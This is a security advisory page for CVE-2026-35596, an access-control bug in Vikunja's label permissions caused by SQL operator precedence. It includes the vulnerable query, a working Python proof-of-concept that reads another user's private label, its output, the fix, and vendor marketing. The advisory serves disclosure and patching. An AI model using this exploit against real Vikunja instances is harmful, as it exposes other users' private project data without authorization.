CVE-2026-35596 is a medium-severity (CVSS 4.3) CWE-863 vulnerability in code.vikunja.io/api. A fix is available for code.vikunja.io/api — see the affected versions and patch details below.
Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-35596.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-35596 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
code.vikunja.io/apiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.
Details
The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).
Or(cond).
And("labels.id = ?", l.ID).
Exist(ll)
The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained.
Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.
Proof of Concept
Tested on Vikunja v2.2.2.
import requests
TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"
def login(u, p):
return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]
def h(token):
return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
a_token = login("labeler", "Labeler123!")
b_token = login("snooper", "Snooper123!")
# labeler creates private project, label, task, and assigns label
proj = requests.put(f"{API}/projects", headers=h(a_token),
json={"title": "Private Project"}).json()
label = requests.put(f"{API}/labels", headers=h(a_token),
json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),
json={"title": "Q4 revenue data"}).json()
requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),
json={"label_id": label["id"]})
# snooper reads the label from labeler's private project
r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))
print(f"GET /labels/{label['id']}: {r.status_code}") # 200 - should be 403
if r.status_code == 200:
data = r.json()
print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE
print(f"Creator: {data['created_by']['username']}") # labeler
Output:
GET /labels/1: 200
Title: CONFIDENTIAL-REVENUE
Creator: labeler
Label IDs are sequential integers, making enumeration straightforward.
Impact
Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.
Recommended Fix
Use explicit builder.And/builder.Or grouping:
has, err = s.Table("labels").
Select("label_tasks.*").
Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").
Where(builder.And(
builder.Eq{"labels.id": l.ID},
builder.Or(
builder.And(builder.Expr("label_tasks.label_id is not null"), cond),
builder.Eq{"labels.created_by_id": createdByID},
),
)).
Exist(ll)
Found and reported by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.vikunja.io/api | all versions | 2.3.0go get code.vikunja.io/api@v2.3.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.vikunja.io/api, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.vikunja.io/api to 2.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-35596 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-35596 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-35596. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-35596 in your dependencies?
O3 Security finds CVE-2026-35596 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.